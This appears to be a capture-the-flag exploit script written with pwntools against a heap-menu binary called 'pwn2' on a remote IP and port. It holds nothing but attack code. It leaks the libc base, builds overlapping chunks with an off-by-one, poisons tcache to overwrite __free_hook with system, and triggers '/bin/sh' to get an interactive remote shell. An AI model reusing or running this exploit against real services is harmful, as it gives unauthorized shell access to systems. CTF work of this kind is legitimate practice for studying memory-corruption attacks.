1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import *
local = 0 debug = 1 binary = "./pwn2" lib = "/lib/x86_64-linux-gnu/libc.so.6" elf = ELF(binary) context.log_level = "debug" if debug else "info"
if local: p = process(binary) libc = ELF(lib) else :
p = remote("113.201.14.253",16066) lib = "./libc-2.27.so" libc = ELF(lib)
s = lambda buf : p.send(buf) sl = lambda buf : p.sendline(buf) sa = lambda delim, buf : p.sendafter(delim, buf) sal = lambda delim, buf : p.sendlineafter(delim, buf) sh = lambda : p.interactive() r = lambda n=None : p.recv(n) ru = lambda delim : p.recvuntil(delim) r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00") trs = lambda addr : libc.address+addr gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next() tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)
def add(size,content): sal("Choice: ","1") sal("size: ",str(size)) sal("content: ",content) def free(id): sal("Choice: ","3") sal("idx: ",str(id)) def edit(id,content): sal("Choice: ","2") sal("idx: ",str(id)) sa("content: ",content) def show(id): sal("Choice: ","4") sal("idx: ",str(id))
for _ in range(8): add(0x88,"A"*8) add(0x28,"B"*8) for _ in range(8): free(7-_) add(0x18,"C"*7) edit(0,"C"*8) show(0) libc.address = r7f()-224-0x10 - libc.sym["__malloc_hook"] info("[+] libc base => 0x%x"%libc.address) add(0x68,"aaaa") add(0x18,"D"*8) add(0x18,"E"*8) add(0x18,"F"*8) add(0x18,"G"*8) free(2) add(0x18,"A"*0x18+"\x41") free(3) free(5) free(4) add(0x38,"PPPPPP") payload = "A"*0x18 payload += p64(0x21) payload += p64(libc.sym["__free_hook"]-8) payload += p64(0) edit(3,payload) add(0x18,"AAAAA") add(0x18,"/bin/sh\x00"+p64(libc.sym["system"])) free(5) sh()
|